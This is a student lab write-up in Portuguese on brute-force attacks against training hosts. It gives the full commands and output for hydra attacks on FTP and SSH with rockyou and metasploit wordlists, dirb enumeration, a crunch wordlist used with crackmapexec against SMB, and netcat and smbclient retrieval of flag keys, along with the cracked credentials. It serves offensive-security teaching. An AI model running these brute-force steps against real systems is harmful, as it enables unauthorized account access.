LAB - SEM 09 - Ataques de Força Bruta

LAB01: 172.16.1.108
→ Fizemos o teste usando as credenciais deafult do ftp que são
ftp,ftp

```
hydra -v -l ftp -p ftp 172.16.1.1/24 ftp
```

```
[ERROR] Not an FTP protocol or service shutdown: (null)
[ERROR] Not an FTP protocol or service shutdown: (null)
[21][ftp] host: 172.16.1.108   login: ftp   password: ftp
[STATUS] attack finished for 172.16.1.108 (waiting for children to complete tests)
Process 233381: Can not connect [unreachable]
Process 233488: Can not connect [unreachable]
Process 233489: Can not connect [unreachable]
Process 233490: Can not connect [unreachable]
```

LAB02: 6a21d771976973518425672 0a340619c
→ Primeiro fizemos uma varredura por arquivos e diretórios usando o dirb

```
dirb http://172.30.0.126:80
```

→ Obtivemos um diretório promissor chamado de backup, onde encontramos
um arquivo txt chamado olduser.txt
http://172.30.0.126/backup/olduser.txt

```
joaomaria
pedropaulo
fernandojose
wilianesantos
joaojose
mariana
suporte
ti
cpd
carlosantonio
widelbrando
```

→ Usamos esses usuários e as credenciais da wordlist unix_passwords.txt
no hydra

```
hydra -v -l suporte -P /usr/share/wordlists/metasploit/unix_passwords.txt -s
55225 172.30.0.126 ssh
```

→ Caso eu fosse dormir, bastaria fazer -L users126.txt (local onde guardei os
nomes de usuarios), mas demoraria demais. Então, pus o hydra para atuar em paralelo
sobre cada usuário

```
[ERROR] could not connect to target port 55225: Socket error: Connection reset
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 5
[55225][ssh] host: 172.30.0.126   login: suporte   password: harrypotter
[ERROR] could not connect to target port 55225: Socket error: disconnected
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 13
[ERROR] could not connect to target port 55225: Socket error: disconnected
```

→ eaí logamos no ssh

```
ssh suporte@172.30.0.126 -p 55225 -o HostKeyAlgorithms=+ssh-dss
```

<passamos a senha:harrypotter>

a senha estava no diretório /home/dados

```
suporte@dhc1802:/home/dados$ ls
information
suporte@dhc1802:/home/dados$ cd information
-bash: cd: information: Not a directory
suporte@dhc1802:/home/dados$ cat information
CONFIDENCIAL

6a21d771976973518425672 0a340619c
suporte@dhc1802:/home/dados$
```

LAB03: america

→ usamos o hydra com a rockyou.txt no serviço ftp

```
hydra -v -l dev -P rockyou.txt 172.16.1.33 -s 21 ftp
```

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# hydra -v -l dev -P rockyou.txt 172.16.1.33 -s 21 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 lo
[DATA] attacking ftp://172.16.1.33:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] 95.00 tries/min, 95 tries in 00:01h, 14344303 to do in
[21][ftp] host: 172.16.1.33   login: dev   password: america
[STATUS] attack finished for 172.16.1.33 (waiting for children
^C[ERROR] Received signal 2, going down ...
```

LAB04: 935355642827

→ com as credenciais do ftp, logamos no ftp via netcat na porta 21

```
nc -v 172.16.1.33 21
```

→ com o comando pasv ligamos o modo passivo, de onde pudemos logar em outro terminal com o endereço de ip e a porta calculada

→ demos um list no outro terminal e vimos a presença de uma key.txt
→ demos um retr key.txt e enviamos o conteúdo desse arquivo para o outro terminal

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# nc 172.16.1.33 59498
list
-rw-r--r--    1 dev      dev            61 Sep 22 00:57 key.txt
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# nc 172.16.1.33 58170
MUITO BEM
USE A KEY PARA PONTUAR NO VLAB
KEY: 935355642827
```

LAB05: dev0105
→ criamos a lista com o crunch

```
crunch 7 7 -t dev01%% -o snmps
```

→ fizemos o teste das credenciais com o crackmapexec

```
crackmapexec smb 172.30.0.103 -u dev01 -p snmps
```

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# crackmapexec smb 172.30.0.103 -u dev01 -p snmps
SMB         172.30.0.103    445    SRV01            [*] Windows Server 2012 R2 Datacenter 9600 x6
SMB         172.30.0.103    445    SRV01            [-] SRV01\dev01:dev0100 STATUS_LOGON_FAILURE
SMB         172.30.0.103    445    SRV01            [-] SRV01\dev01:dev0101 STATUS_LOGON_FAILURE
SMB         172.30.0.103    445    SRV01            [-] SRV01\dev01:dev0102 STATUS_LOGON_FAILURE
SMB         172.30.0.103    445    SRV01            [-] SRV01\dev01:dev0103 STATUS_LOGON_FAILURE
SMB         172.30.0.103    445    SRV01            [-] SRV01\dev01:dev0104 STATUS_LOGON_FAILURE
SMB         172.30.0.103    445    SRV01            [+] SRV01\dev01:dev0105
```

LAB06: dda0c5e6dd7250fdee0facbf22e2182e
→ Com o smbclient listamos os diretórios e entramos no Utils$ (óbvio q eu perdi tempo nos outrps, principalmente no de hashes)

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# smbclient -L  \\172.30.0.103/ADMIN$ -U dev01 -W workgroup
Password for [WORKGROUP\dev01]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        hash            Disk
        IPC$            IPC       Remote IPC
        read            Disk
        Utils$          Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 172.30.0.103 failed (Error NT_STATUS_RESOURCE_
Unable to connect with SMB1 -- no workgroup available
```

⇒ Ao entrarmos no Utils$ fomos para /programas/KEY e demos um get key.txt

⇒ Abrimos ela no terminal da nossa máquina

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# cat key.txt
dda0c5e6dd7250fdee0facbf22e2182e
```